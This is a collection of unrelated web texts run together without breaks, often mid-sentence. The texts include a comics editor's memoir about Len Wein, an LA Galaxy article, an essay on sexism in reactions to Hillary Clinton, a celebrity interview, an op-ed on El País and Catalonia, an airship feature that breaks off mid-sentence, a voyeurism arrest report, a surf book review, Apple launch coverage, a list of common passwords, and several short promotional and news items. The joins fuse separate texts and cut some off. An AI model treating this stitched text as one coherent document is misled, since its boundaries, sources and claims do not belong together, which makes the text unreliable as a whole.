After Steve Gerber read the (printed) book, he flipped through it with Rog, making comments. I was within earshot. Steve was very polite, very nice, generous with his compliments. One thing he pointed out was that Rog referred to the character as “Omega” a few times. Steve made a point never to call him anything but the “caped man” or some such. My fault as much as Rog’s. Sigh.
Shortly thereafter, Len Wein needed someone to dialogue a Hulk story he had plotted, drawn, I think, by Sal Buscema. He gave Rog a shot. I heard him talking to Rog before Rog embarked on the script. Len kept saying “Do this,” and “Don’t do that.” Simple instructions. Rules.
Rog wrote the script (we used “script” and “dialogue” pretty much interchangeably at Marvel, for work done Marvel style). Again, I was in earshot when Len went over it with him. Len talked about the rhythm of the dialogue, “hearing” the voices, being cognizant of basic information that had to be delivered. “Do it like this, not like this.” I think Rog made a few, very few, corrections. Then the thing was handed over to me to edit.
It was really good.
And the little light bulb went on.
Don’t try to give new writers (or creators in general) the entire How to Write course at the get-go. Start them off with easy-to-follow instructions. Rules, if you will, until they get their feet under them. Then worry about the nuances.
And wasn’t that how I learned…? First, from the Ultimate Rule-Giver, Mort Weisinger, then onward on my own, once I felt myself on firm ground.
One story with Len helping and Rog was off and flying. And, once he had Len’s rules etched into his brain, then, all of the sudden, he could more easily grok all the complexities I had been throwing at him.
The rules describe a neighborhood in the universe of writing, a safe place, from which one can venture into the limitless possibilities when one is damn good and ready.
Roger became ready quickly. He GOT it! Just like that. Well, maybe not just like that, but he was soon on his way.
Rog is now, and has been for a long time, one of the best writers in the business. Always solid, often brilliant, capable of those moving, stick-with-you moments. Thanks in good measure to Len.
Thanks, Len, from me, too.
I got it. After that I concentrated on building foundations before erecting the spires.
Example: Early on, I made newbie Frank Miller draw a couple of stories using the Kirby windowpane grid. Strictly enforced.
He got it. Soon and in abundance. Perhaps you’ve noticed.
So, thanks again for the lesson, Len.
And I’m really sorry I dropped you on your head….
NEXT: More Strange Tales – Why I Dropped Len On His HeadLOS ANGELES – The new stadium plans of a noisy neighbor up the I-110 freeway are not frightening the LA Galaxy or Club President Chris Klein.
Rather, Klein welcomes and praises the new group as the Galaxy plan to go full steam ahead with a collective philosophy that forges ahead regardless of Los Angeles Football Club’s announced intentions to build a stadium in Exposition Park.
“I’m very happy for them and happy for the league. When they come into the league, it will be something that is exciting,” Klein told LAGalaxy.com “I look at this as a real positive for soccer in this country and for us. We welcomed Chivas USA back in 2005 and we’ll welcome LAFC when they come into MLS in 2018."
On Monday, LAFC unveiled plans to build a $250-million privately funded soccer complex on the current site of the Los Angeles Memorial Sports Arena. In order to build the 22,000-seat venue, LAFC will demolish the iconic 56-year-old Sports Arena, which should allow the new Major League Soccer club to enter the league by the 2018 MLS regular season.
As the large ownership group of LAFC touted their plans for a stadium that sits five minutes from Downtown Los Angeles, much of the chatter has centered on whether the Galaxy must change their philosophy to compete with the newcomers. However, Klein believes that for the Galaxy, the best course is forward.
“We don’t change,” Klein said. “The things that we do as we build our team and we build our club in this city and community, we’ve had a specific goal. We want to win first, and win a certain way, with a certain group of players, and we’re going to continue to do that. We’re as aggressive as we’ve ever been in L.A. The ideals that we hold are ones that we’ve built over a long period of time, and those aren’t changing… We’re going full steam ahead”
To explain Klein’s stance, the club president believes that you have to look no further than how his club dealt with LAFC’s predecessors Chivas USA. When Chivas USA entered the league in 2005, it was seen as a competitor to a Galaxy club that has been in existence since 1996. Just a mere 10 years later, poor attendance and failures on the field forced MLS to shutter the club, paving the way for LAFC to join the league.
Klein calls LAFC ownership a “good group of guys” who will benefit Major League Soccer but reveals their existence will not change how his club does business.
“If we stopped to react to everything that teams did in our league then we wouldn’t go anywhere,” said Klein. “We very much look at it like we’re being chased by everyone and that includes LAFC. It doesn’t change what we do, very much at all.”
Given LAFC’s bravado and the fact that they will one day lineup against the Galaxy, there has been some temptation to refer to the two team’s relationship as a rivalry.
But Klein is quick to quash any talk of the two clubs currently being rivals.
That won’t happen until 2018—at the earliest—and will depend on how LAFC performs on the field, rather than just in press conferences.
“Rivalries are built over time,” Klein said. “We have to wait until 2018 and beyond before we start calling it that.”
Adam Serrano is the LA Galaxy Insider. Read his blog at LAGalaxy.com/Insider and contact him at LAGalaxyInsider@Gmail.com.Hillary Clinton seemed smug, so there’s no way she can persuade undecided voters.
This thought, a knee-jerk reaction rooted in my own subconscious sexism, immediately came to mind after I watched both U.S. presidential debates.
It’s sexist to think a woman who’s worked in public service for 40 years, and answers every question with almost rote precision, is smug. So, why did I feel this way? It took me a moment to realize that, like many other people in America, I have a problem with strong, competent, ambitious women—especially those who shamelessly embrace these qualities.
Clinton wants to be president, but does she need to be so try-hard about it? Does she need to belittle Republican nominee Donald Trump on national television? Does she have to roll her eyes, and act as if she’s too good to debate a reality TV star who has absolutely no business running? I instinctively understood that Clinton’s smugness wouldn’t endear her to the American public (just another installment in the ongoing saga of: Men can be layered and complex, but women must—under all circumstances—be likable.)
As another strong, competent, ambitious woman, watching Clinton run for president has been both thrilling and uncomfortable. I’ve been disappointed in myself for having sexist reactions whenever she speaks. I count all of Clinton’s ums and ahs, and am more critical of her speech patterns than I’ve ever been with any other presidential nominee. I notice the lines on her face and hate that I do. I automatically judge her outfits, perpetuating an outdated gender norm that women should be valued for their looks above all else. I wonder if the public would like her more if she was hotter, or if she wasn’t so ambitious in her bid for America’s highest office.
Growing up in a patriarchal culture has conditioned me to have these views, so I must make a conscious effort to unlearn them. But at least I’m aware of my biases and can keep them in check. I’m also aware, however, that many people believe their biases. So, no matter how much I fight off my internalized misogyny, I’m still living in a world that wants women to stay small, fragile, and quiet.
Like many other people in America, I have a problem with strong, competent, ambitious women.
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The way I and so many Americans feel about Clinton represent my worst fears about myself. Too much of the U.S. just doesn’t like women like us, so when I judge Clinton, I’m also judging myself. It’s uncomfortable to realize that I subscribe to these harmful social norms, and live life through a misogynistic filter.
2016 has been a banner year for exposing what goes on in America’s shadows, and Clinton is a big part of that. Her campaign has shown us that we still have a problem with strong, competent, ambitious women who demand the same opportunities as men.
That’s why I was surprised to discover I still have some lingering feelings of internalized misogyny, which stayed dormant until Clinton did what no other woman has done before. I’ve done a good job of catching myself and reeling in such thoughts before they get out of hand, but we shouldn’t be ashamed of them. It only gets really dangerous when we start believing our biased thinking.
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What’s sad is that I’m actually hyper-aware of all the double standards that Clinton faces and how the public perceives her. To be a woman is to invite criticism. Clinton’s campaign has been a constant reminder that no matter how much you achieve as a woman, you can’t win on skill alone. To become president, Clinton must be everything: serious but friendly; prepared but unstudied; strong but not too strong as to emasculate her opponent. She has been interrupted and disrespected and underestimated. Even I—a self-described feminist—can’t help but have sexist thoughts about a woman who has more than earned her place in the Oval Office.
There’s no winning, here, because the game is rigged. If you’ve ever believed that you can be smart enough, talented enough, or experienced enough to transcend your womanhood, Hillary Clinton has proven that wrong. She may have broken through the glass ceiling, but our patriarchal society will keep adding more panes. So, no matter how many times a woman shatters one obstacle, there’ll always be another.
To clear that glass ceiling for good, we must first recognize—then challenge—misogyny in ourselves and others.
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Jamie Varon is a writer and designer living in Los Angeles.HYNDE: That’s what happens when you have pedigree. But that’s kind of old hat now. That’s not really a big deal anymore, is it, to have famous parents?
JOHNSON: I guess. I don’t know. The kids that I grew up around … but I never really identified with any of them. I have one friend who I’m very close with, my friend Riley Keough, whose mother is Lisa Marie Presley. But other than that, I don’t have very many pals who are … I don’t know. I kind of stayed away from it all.
HYNDE: These days, everyone knows someone whose dad was in a band or whose mother is a model. It’s just the way it is.
JOHNSON: It does kind of seem that way. Nothing is really precious anymore. Like, the mystery is gone.
HYNDE: Oh, no! The mystery is still there.
JOHNSON: It is? Where? [laughs]
HYNDE: I think it is. Everything changes. I guess a lot of mystery is gone because you can access so much information now. But you’re still mysterious. Come on!
JOHNSON: I’d like to say that about myself. [laughs]
HYNDE: And you can keep the mystery. I remember when I met you, I asked what you did, and you said you were an actor. I said, “Why did you say actor instead of actress?” Do you remember what you said to me? You said you weren’t very comfortable saying either yet because you were still kind of finding your feet.
JOHNSON: Ah. That still feels accurate to me. I still feel like I don’t know what I’m doing. Like, I’m unsure of what my life will be like. I mean, I have such an obsession with making movies that I probably will always do that. But sometimes my life can feel so suffocating, and then it can feel so massive, like I don’t have a handle on it at all, and I don’t know where it’s going or what I’m going to do. Right now, I’m known for making movies. And I wonder if that’s it. I don’t know. It doesn’t feel like it to me.
HYNDE: I watch a lot of films, obsessively, like, seven or eight times. And I think it’s kind of an interesting time now. There are good people making films at the moment. I could name a whole load of them: Michael Fassbender … you remind me of him, actually.
JOHNSON: I do?
HYNDE: Yeah! You kind of have that look. He can do all sorts of varied parts, and he pulls it off because he’s not at the point yet where you think, “Oh, that’s Michael Fassbender.” You believe it. I think you can get away with that forever. Michael Caine does it, and he has been doing it for 60 years. You still believe him. And that’s obviously the best thing you can do if you are an actor. And the way to do that is not to be too public, probably. Once you’re on too many magazine covers and doing too much and getting exposed, then people start recognizing you, and you cross a line. I think everyone should stay out of it. Why we’re doing this for a magazine, I don’t know!Providing still more graphic proof of its pathetic and truly cringeworthy descent from the status of a great liberal paper to that of a shameless corporatist rag dominated by baseless Atlanticist talking points, Madrid’s El País has recently suggested that behind the current drive for a vote on independence in Catalonia there there can be found the diabolical hand of Putin’s Russia. In a story that appeared yesterday on the El Pais website, David Alandete wrote:
“The same apparatus for the spreading of fake news that Russia has used to weaken the United States and the European Union, has been deployed in full force in Catalonia, according to a detailed analysis of Pro-Russian websites and Facebook profiles carried out by this newspaper with tools of digital analysis. In the wake of the covert campaigns in favor of Brexit, Marine Le Pen and the German Ultra-right, the Kremlin has come to see the Catalan independentist movement as yet another way to deepen European divisions and consolidate its international influence. They use webpages that publish rumors, activists like Julian Assange, a legion of bots, and millions of automatized pages on social media to insure that lies are shared millions of times on the web.”
But the brilliant journalist at Spain’s leading newspaper was not content to stop with this morsel of infantile thinking.
Casting his eyes across the Atlantic toward the libertarian website, Antiwar.com. One of the very few media outlets in the United States which has covered the Spanish government’s ongoing coup in Catalonia, Alandete suggested that the site and its most important writer, Justin Raimondo, were integral parts of Putin’s efforts to undermine the West’s hallowed democracies.
Working in deeply nuanced line of reasoning that holds that Julian Assange is per se bad, and that therefore anyone who sympathizes with him, or even coincides with his point of view, is either a dismissable idiot or a Russian dupe, they mock an article in which Raimondo raised the possibility that Spain could unleash a Tiananmen-style attack on the Catalan independentists.
I guess that for David Alandete, as the case for so many mainstream journalist, it is much easier (not to mention career-enhancing) to search for Russian phantoms, than to confront, and engage in debate with opinions that are not approved by his corporate bosses and that flout the group-think these bosses now demand in their news rooms.
In Alandete’s smug little Madrid/Liberal Interventionist world things like the arrest of government officials, the carrying off of millions of printed ballots, the attempts to place the long-independent Catalan police under Spanish control, the indictment for sedition of peaceful civic leaders have no weight, and certainly no resemblance to repressive behavior in other countries.
No in his Spain, that is the real Spain run from Madrid and ever-prisoner to its own endlessly repeated mythologies about self and other, none of this is real.
But what is real of course is Putin’s evil hand. After all, what other reason could the Catalans, whom centralists like Alandete have always treated with mocking condescension despite their demonstrably higher levels of civic democracy and culture, have any reason to break up their perfect marriage?
Thomas S. Harrington is professor of Hispanic Studies at Trinity College in Hartford, Connecticut and the author of Public Intellectuals and Nation Building in the Iberian Peninsula, 1900–1925: The Alchemy of Identity (Bucknell University Press, 2014).Across the world teams of engineers are working to try and resurrect the airship, arguing that their heavy-lifting ability makes them an energy efficient alternative to cargo planes and helicopters. Some claim airships could even allow factories to set up in remote communities, without the need for roads or airports.
It looks more like a bouncy castle than a futuristic means of transport, but the Solar Ship is in fact a state-of-the-art flying machine.
Its blimp-like appearance belies a very serious mission: to carry medicines and medical equipment to those who live in the world’s most inaccessible terrains.
In late 2011 the first prototype Solar Ship successfully launched from a cold Canadian runway, fulfilling a thirty year dream for Canadian entrepreneur Jay Godsall.
‘It’s been a very slow development,’ he says. ‘I think we’re close technically.’
It’s hard to define exactly what the Solar Ship is. Wired magazine has called it a ‘mash-up’ between a light plane and a ‘blimp’. Mr Godsall says the design harks back to the ‘great bush plane tradition of Canada, Australia and Africa.’ Its large inflatable wing, shaped like an arrow head, is filled with helium, but the gondola attached beneath looks and functions like an aeroplane.
These aircraft are potentially useful, particularly on difficult terrain and things like that. But, of course, if you're using them in areas where there is some competition for the skies, or where there is a threat of military attack, these are very, very vulnerable pieces of equipment. Peter Harbison, aviation analyst
‘We get about 30 per cent of our lift from helium and 70 per cent from the aerodynamics of the wing,’ Mr Godsall says.
However you describe it, the Solar Ship, which gets its name from the array of solar panels covering the top surface of its wing, is just one example of a range of new hybrid craft currently being developed using the design of a distant past.
For most of us, the airship remains an iconic symbol of the 1920s and 30s. It speaks of an age of slow-moving luxury travel and of spectacular disasters. The Hindenburg, Britain’s R101, America’s Shenandoah—each met a fiery end. But as increasing fuel costs and logistical difficulties bite into the global aviation industry, the zeppelin is now being revisited.
The airship is back, but it’s being reinvented for the modern age.
It could be argued that what doomed the first zeppelin era was a form of nationalistic penis envy. In the inter-war years the great nations of the world competed with each other to build the biggest possible craft, to try and outdo each other in size. But the bigger they got, the more vulnerable their airships became.
The R101 was the best example of this. It was commissioned by Ramsay MacDonald’s government in the late 1920s as the flagship of an Imperial Airship Scheme, a grand vision to link the far flung reaches of the world’s largest empire. After initial trials, an eleventh hour decision was made to lengthen the dirigible’s rigid frame by 14 metres in preparation for its maiden voyage to India, timed to coincide with the 1930 Imperial Conference in London. The extension made the R101 the longest airship in the world, but it also reduced the strength of its metal frame. As a consequence, it only got as far as rural France before plunging to earth during a severe storm.
Perhaps more importantly, during the first part of the 20th century there was also a failure to define a lasting and meaningful function for the airship. In World War I, German zeppelins were used as long-range bombers, but they soon lost that role to aircraft. Then, during the 20s and 30s, manufacturers desperately tried to find a place for the airship as a long-distance passenger craft, but speed and reliability once again got the better of them.
But unlike the early incarnations of the zeppelin, most modern airships are being designed with an emphasis on cargo transportation. Dr Bob Boyd from the aeronautics firm Lockheed Martin envisages the airship as the ‘pick-up truck of the sky’.
‘It’s really there to haul things from place to place. To do it every day and just do it reliably. There’s a lot of things that don’t necessarily need to go at 500 miles an hour.’
Lockheed Martin’s engineers have already tested a prototype and are busy developing three different sized craft. The smallest, expected to have a range of 1000 km and a payload of 20 tons, is to be called the 'Sky Tug'. And the largest, the 'Sky Liner', is anticipated to have a lift capacity of 500 tons.
Dr Boyd says two factors have motivated his firm to invest in airships. Firstly, the rising cost of fuel, and secondly, the ability of the airship to land on a dime, opening up new markets that otherwise are locked out of global trade by their lack of infrastructure.
‘If you look at the globe, not even half of it is covered with decent infrastructure,’ he says. ‘[T]he airships enable you to quickly establish your manufacturing centres far from normal infrastructure and still be able to create commerce. And then of course eventually you would build in roads and rail, et cetera. But initially it enables you to start that.’
Like Jay Godsall’s Solar Ship, the Sky Tug prototype developed by Lockheed Martin takes the airship and radically redesigns its traditional form.
In profile, the craft maintains the familiar cigar shape of its zeppelin forebears, but viewed from above or below, there are significant differences. It’s as though the airship’s body has been flattened out. ‘These aren’t like the zeppelins of old with the rigid structure; they’re non-rigid,’ says Dr Boyd. ‘The cross-sections are all circles, but in our case, it is a trilobe, if you will. It’s actually more like a two-and-a-half lobe, where we take two-and-a-half circles and sort of interpose them over the top of each other. If you take three Olympic rings and imagine them together, that’s really what the shape looks like in cross-section.’
Crucially the Sky Tug also utilises a combination of different forms of power to gain altitude and to propel itself. ‘It’s not just a buoyant airship,’ says Dr Boyd, ‘It actually mixes three forms of lift: there’s the buoyant lift from the gas, from the helium; there is aerodynamic lift from the actual airfoil shape—it’s actually a wing, the shape of the body, that generates aerodynamic lift; and then we can also vector the engines up and down and generate direct lift from the engine power. So we use all three forms of lift and that’s what gives us a very high degree of efficiency and at the same time a fairly high degree of flexibility in order to be able to get to these places and unload and load lots of cargo.’
Among Lockheed Martin’s major competitors is the California-based company Aeros. Their prototype dirigible, christened the Aeroscraft, also has a flattened body, but with its silver-grey skin and side fins it looks something like a bloated metallic whale. Two of the company’s partners are DARPA—the United States’s premier defence research funding arm—and also NASA.
‘I think that they could play a huge role in air cargo,’ says Dr Alan Weston, the Director of Programs and Projects at the NASA Ames Research Center. ‘New airship technologies have the promise to reduce the cost of moving things per ton-mile by up to an order of magnitude. If you could deploy airships that have vertical take-off and landing capability, like the ones we’re working on right now, they can actually be quicker for cargo transportation than the use of aeroplanes today. I can see them making a huge contribution in the decades to come: a larger airship, a class of vehicle that can lift up to 500 tons, that could be actually more fuel efficient than even a truck.’
NASA’s interest in airship technology, according to Dr Weston, centres around its mission to explore what he calls ‘green aviation’ also known as ‘environmentally responsible aviation’, as a way of cutting back on the carbon footprint of air travel.
But while there’s healthy competition in the modern airship industry, there are still many difficulties yet to overcome. One of the major problems faced by airships isn’t haulage capacity, but buoyancy management. When you’re talking about payloads of several hundred tons, problems with buoyancy control during loading and unloading could be catastrophic.
To get around the problem, the Aeroscraft’s engineers have devised a system which operates like a set of human lungs. As Dr Weston explains, ‘The project uses compression of helium to control buoyancy. When the vehicle is on the ground, without this buoyancy control as soon as we start taking things off, the vehicle would want to fly away. The helium in the main envelope is taken and stored in bags inside the airship at a slightly higher pressure. As you do that, air is taken in from the outside into lungs that are attached on the side of the vehicle. So the analogy of breathing is a good one. And the overall lift of the vehicle is equal to the weight of the air that is being displaced by the helium. And as you change that, you can control the amount of buoyancy that the vehicle has.’
‘This turns out to be a critical factor in the operability of these new airships,’ he says. ‘[I]t means that you can on-load and offload payloads up to 500 tons without using ballast. And, as you can imagine, when you start thinking about very large payloads, moving 500 tons of ballast on and off an airship becomes very difficult.’
Key also to the further development of modern airship technology is a lack of readily available capital. In November 2012, a sudden rise in the cost of helium was cited as the major reason for the collapse of the Californian zeppelin company Airship |
to those who love it; a sticky mess to those that don't. But Violent J and Shaggy 2 Dope say they don't care who dismisses them. The world is their playground, their fans are their family, and their critics are just "playa haters to the fullest."
Welcome to the big tent. Insane Clown Posse takes over studio q. (Fabiola Carletti/CBC)
"Most people are like 'yeah they sell millions of records, but they sell 'em to juggalos. You know what I mean? Like juggalos aren't real people or somethin'," says Shaggy.
In a wild, wide-ranging chat, the rappers stop by studio q on their
"We are the same people who are buying our music," says Violent J. "We are juggalos." "Most people are like 'yeah they sell millions of records, but they sell 'em to juggalos. You know what I mean? Like juggalos aren't real people or somethin'," says Shaggy.In a wild, wide-ranging chat, the rappers stop by studioon their first Canadian tour in over a decade. In their signature face paint, they share some of their best stories, clap back at the FBI, and reveal the upside of being an outsider."We are the same people who are buying our music," says Violent J. "We are juggalos."
Note: We couldn't broadcast the full chat (Insane Clown Posse and Shad went on for almost an hour) but that's what the internet's for! The full, uncut interview takes a closer look at ICP's controversial lyrics, their decades-long concept called The Dark Carnival, and their surprising spiritual side. Listen here.
When the FBI calls your fanbase a gang, is that the kind of press you want? Insane Clown Posse's Violent J and Shaggy 2 Dope explain why they have a problem with the saying "any press is good press". 1:22
WEB EXTRA | Not a juggalo? Not a problem. Here's a quick look at 17 things you should know to put these clowns in context. Not a juggalo? Not a problem. Here's a quick look at 17 things you should know to put these clowns in context.
"What's with the number 17?" ICP has long organized their lore around this odd number. Here's a list of things to know based on our research and their chat with Shad. (Ben Shannon/CBC)
YOUR LETTERS | We thought we might get a lot of hate mail for this one but, nope! Listeners were overwhelmingly down with the clowns.ORLANDO, Fla. - An Orlando man was arrested on suspicion of placing cameras on his shoes to record video up a women's skirt at Total Wine store.
Robert Greis, 67, faces charges of video voyeurism and destruction of evidence in the Saturday incident.
According to police, a man said he saw Greis put his shoe, which had a camera attached to it, under his girlfriend's skirt while she was shopping at Total Wine on East Colonial Drive.
The shopper informed the store manager about the incident and held Greis until police arrived, according to a police report.
Police said they found cameras attached to each of Greis' shoes. When they arrested him and put him in the back of the patrol car, Greis destroyed the memory card for one the cameras, according to police.
Greis was taken to the Orange County Jail and was being held on a $1,150 bond.
Copyright 2013 by ClickOrlando.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Ron “Canoe” Drummond was an author and surf pioneer whose massive 6’6 frame was eclipsed only by his passion for the Ocean. Drummond self-published The Art of Wave Riding at 24 years young. The year was 1931. The book was one of the first ever books written about riding waves and definitely the first written about bodysurfing. Drummond published a mere 200 copies of the 26-page artistic work. When you read Drummond’s work you may notice he fails to mention swimming fins, but that is because Owen Churchill wouldn’t submit his patent for another 9 years. By Drummond’s own admission, most wave riders of the time were athletically inclined and paid the price of time for their knowledge. He wanted to “increase a thousand fold the pleasure derived from surf bathing,” by providing hints at the best way to ride waves with your body.
If you can get your hands on a copy, one of the first observations that will blow you away is the fact that there are actual photographs from Drummond’s time of himself and others bodysurfing. The primitive photographic technology coupled with the difficulty modern-day photographers have with capturing bodysurfing is enough to merit a long look from all bodysurfing enthusiasts.
Drummond does his best to offer information to the casual surf bather and the seasoned surf swimmer alike. He describes two means of riding waves. The first is the position involving both hands out in front of your body with your head down in the water. The second and more advanced was to keep your hands at your side in what we call the “Prone” position. This matches all of the documentation we have of bodysurfers in Ron’s day riding prone to the beach. Drummond artfully guides the reader through bodysurfing small and large surf using the swimming terminology of the day and soulful delivery. He goes on to detail all the little tips he’s collected like stiffening one’s body, no hesitation, and taking a deep breath both for comfort and added buoyancy.
The Art of Wave Riding also catalogues the progressive tricks of Drummond’s day such as riding on your back, spinning and a front flip. It is striking to see the slow progression of our sport. The expert riders of 85 years ago were working on the same maneuvers as our comrades today. In perfect irony, Ronald B. Drummond’s mission was “that publishing this information now, all those interested in the sport can make faster strides while learning the fundamentals of wave riding and so have more time to help develop the intricate phases of this superb sport which in my opinion is still in the initial stages of development.”
This book is the one of the rarest books in the surfing genre and therefore very expensive. In recent years they have sold within the range of $1200-$4200. To find one you’ll have to scour auction sites or get lucky in other used book marketplaces. Ron passed away in 1996, but he left bodysurfers with the most exquisite link to their heritage within the 26 pages of Ocean joy, The Art of Wave Riding.
EJ
Current Auctions/For Sale:
https://www.abaa.org/book/928743696
https://www.alcuinbooks.com/pages/books/025047/ronald-blake-drummond/the-art-of-wave-riding
Previous auctions:
http://thevintagesurfauction.auctionserver.net/view-auctions/catalog/id/1/lot/21/
http://www.usvsa.com/Auction/APViewItem.asp?ID=130
http://www.pbagalleries.com/view-auctions/catalog/id/348/lot/106798/The-Art-of-Wave-RidingApple’s conference was full of small and big announcements and very dense. Between the announcements of the iPhone 5 and the updated iPod line-up, it is hard to keep track of all the details. It is now time to look back and read our coverage of what Apple showed to the press today.
The iPhone 5
Of course, the biggest announcement was the unveiling of the iPhone 5. The rumors were true — the device sports a 4-inch display, comes with a new dock connector called Lightning (adapters are available), LTE and 802.11n dual-channel 5GHz Wi-Fi and a nano-SIM slot.
It will be available on September 21 for $199 for 16GB, $299 for 32GB or $399 for 64GB — pre-orders open on Friday. Previous iPhone models will be sold at $99 or even given away with a two-year contract. Read the hands-on and watch Apple’s video.
New iPod Touch
The iPod Touch was updated as well to keep the device on par with the latest iPhone. It uses the same 4-inch screen and powerful system on a chip but is at the same time the thinnest and lightest iPod Touch ever produced. Like the iPod Nano, the device now comes with several color options — grey, black, blue, green, and red. Read all the details and the hands-on.
New iPod nano
The iPod nano was updated as well with a bigger screen. Once again, the iPod nano is Apple’s playground for testing new designs. They are not afraid of changing everything with each generation. Read all the information and our hands-on.
EarPods
EarPods are the new Apple earbuds. An update was highly overdue and it’s available now. If you want to know how they sound, read our first impressions after trying them.
Software
iOS 6 will be available for iPhone and iPod Touch owners on September 19. Even though we already knew a lot about the new operating system, new features were announced, such as panoramic photos and time-shifted GameCenter. But the most important changes are under the hood. Unoptimized apps will run letterboxed. Read about Facebook integration.
On the desktop, iTunes will be completely redesigned with iCloud built-in and Ping was quietly killed.
Numbers
As with every keynote, Apple gave us a few impressive numbers to make the company shine. It sold 84 million iPads, 400 million iOS devices and more laptops than any other manufacturer. 83 million people visited at least one of the 380 Apple retail stores in the world. 700,000 apps are now available in the App Store. Even more important, 90 percent of them are downloaded every month.
But don’t take our word for it and watch the video of the event and see what Jim Dalrymple, John Gruber and others had to say.10 million passwords unmasked
Guarding against password theft is a serious business. There have been some high profile security hacks e.g Talk Talk. Password dumps appear regularly on various sites, in clear text. A security researcher, Mark Burrnet, went one step further and collected 10 million passwords, gathered from the various password dumps.
An analysis of the passwords used, reveals an interesting profile of password selection.
For example the Most Used Base Phrase (4 + characters) :
1.passwords
2.qwerty
3.qwer
4.dragon
5.qazwsx
6.alex
7.love
8.monkey
9.master
10.shadow
These are very easy passwords to crack, which most offline password cracking techniques would manage to unmask.
There are a number of methods to encourage improved password entropy. Improved password entropy makes it harder to crack the password. Password entropy measures the password unpredictability.
Before you do anything, ensure there is a solid SQL Server Security Policy and a regular SQL Server - Database Server Security Audit Process...
For full details of the analysis on the 10 million passwords
Read More on SQL Server security checks
Find Weak passwords in SQL Server - SQL Server DBA
How to create a SQL Server Security Audit - SQL Server DBA
Database Server Security Audit Process - SQL Server DBA
Find who made a database security change - SQL Server DBABy reading between House's sentences, one can deduce he's unhappy with how slowly Sony's rivals have been W.R.T. expansion.
Sony's strategy with the PSVR is to push it as a cheaper yet still adequate alternative to expensive PCVR, but with PCVR doing badly, they're doing badly by knock-on effect (since there simply aren't enough people who say "I want a Vive but can't afford it, so I'll get this Pro VR bundle instead").
Moreover, the lukewarm demand is affecting component prices, or, rather, not affecting them, in that they remain higher than the average cost/demand curve for electronic components.
And another issue, the relatively low market penetration makes small-to-mid tier developers not gamble on software, causing most VR games (not including VR remasters) to be on the simpler end, experience-wise. This in turn decreases the value proposition of acquiring the device.One of the absolute best parts of working at YNAB is being reminded—every, single day—about how much our product helps people. They are less stressed. They beat their debt. Their marriages are healthier and happier. They are taking vacations. They are free to make choices, because they are no longer trapped, living paycheck to paycheck.
You know, just changing lives, no big deal. 🙂
If you are one of those people—if YNAB improved your quality of life—then you will want to know that we’ve made it very easy for you to give the gift of YNAB this Christmas (or anytime, but let’s face it, until Dec. 25th, there isn’t much else to talk about).
All you have to do is click here, add the emails of the lucky recipients and purchase. We’ll send the recipients a snazzy email with all the details about their free year of YNAB. Or you can always go to your My Account page and click on the gifting link:
So you could stick with your standards—an Amazon gift card, a Starbucks tumbler, and new slippers—or you could make this Christmas a little different (dare I say, epic?) by giving the gift of financial control, a new existence free of money stress, stability, security, and the hope of a debt-free future.
You know what they say: “The best way to spread Christmas cheer is giving YNAB for all to hear.” And, “It’s better to give (YNAB) than to receive.” Also, “Tis the season to give YNAB.” Can’t forget: “All I want for Christmas is You… Need A Budget” And, of course, “All is calm and bright (with YNAB)”
And even if they don’t say any of these things, an annual subscription to YNAB makes a great gift!High-ranking political appointees at the Justice Department labored to stock a prestigious hiring program with young conservatives in a five-year-long attempt to reshape the department's ranks, according to an inspector general's report to be released today.
The report will trace the effort to 2002, early in the Bush administration, when key advisers to then-Attorney General John D. Ashcroft moved to exert more control over the program to hire rookie lawyers and summer interns, according to two people familiar with the probe.
The honors program, which each year places about 150 law school graduates with top credentials in a rotation of Justice jobs, historically had operated under the control of senior career officials. Shifting control of the program to Ashcroft's advisers prompted charges of partisanship from law professors and former government lawyers who had worked under Democratic administrations.
Mark Corallo, a Justice spokesman during Ashcroft's tenure, has said that the overhaul was intended to broaden candidate pools and include students from a range of law schools, not only Ivy League institutions. The strategy persisted until tension among political appointees and career staff members came to a head in mid-2007.
Corallo said yesterday that Ashcroft, who now runs a consulting firm, will not comment until the report is made public.
Critics in the department had argued that hundreds of high-quality applicants had been rejected because of their ties to left-leaning nonprofit groups or clerkships with Democratic judges and lawmakers, according to correspondence at the time. One Harvard Law School graduate said that when he applied for the honors program a few years ago he was warned by professors and fellow students to remove any liberal affiliations from his résumé.
Concerned Justice employees also raised alarms last year by sending a letter to lawmakers who had been examining whether political considerations led to the dismissal of nine U.S. attorneys.
In response, Justice officials last year said they had returned control over the honors and intern programs to career lawyers.
The report by Inspector General Glenn A. Fine and Office of Professional Responsibility chief H. Marshall Jarrett is the first in a series of studies investigating the role and reach of political appointees in hiring and enforcement at Justice during the Bush years. The studies, which cover the prosecutor firings, problems in the civil rights division and statements by former attorney general Alberto R. Gonzales, have been hotly anticipated for months.
The internal audit already has produced one grand jury referral. Federal prosecutors in the District recently issued subpoenas to former employees in Justice's civil rights unit as part of a probe into discrepancies in 2007 congressional testimony by Bradley A. Schlozman, an interim U.S. attorney in Kansas City, Mo.This post is by Valerie Aurora, writing in her capacity as Executive Director of the Ada Initiative
Sumana Harihareswara is a geek feminist and an active member of the science fiction, GNOME, and Wikipedia communities, serving in a variety of roles. Lately she has taken a front and center position in the movement to make open technology and culture more diverse, with a keynote at the OSBridge conference about diversity in FLOSS, entitled “Be Bold: An Origin Story“, joining the Ada Initiative advisory board, and successfully advocating for a Friendly Space policy at at Wikimedia Foundation sponsored events. She also finds time to do standup comedy routines about geek culture.
Today, Sumana Harihareswara and her partner, Leonard Richardson, made a bold challenge to the open tech/culture community: They will match every donation to the Ada Initiative between now and October 31, 2012 up to $10,000. As Sumana puts it, “Leonard and I make our living through open source and we want to pay it forward.” Already, community members have donated $4,000 that will be matched by this generous offer; if all $10,000 is raised, that will make Sumana and Leonard the largest individual donors to the Ada Initiative. You can be part of this by donating now.
Sumana is a joyful, passionate member of the Wikimedia and open source software communities and a living example of the Ada Initiative’s vision: A world in which women are equal and welcome participants in open source software, open data, and open culture. I am personally humbled by Sumana’s dedication and personal contributions to this vision throughout her life.by
In April, a grassroots movement led by Lakota grandmothers toured the country to build support for a formal complaint of genocide against the United States government and its constituent states. Though temporarily overturned, the recent conviction of Efrain Rios Montt for genocide against indigenous Guatemalans should give US officials, particularly members of the Supreme Court, pause before dismissing the UN petition as a feeble symbolic gesture.
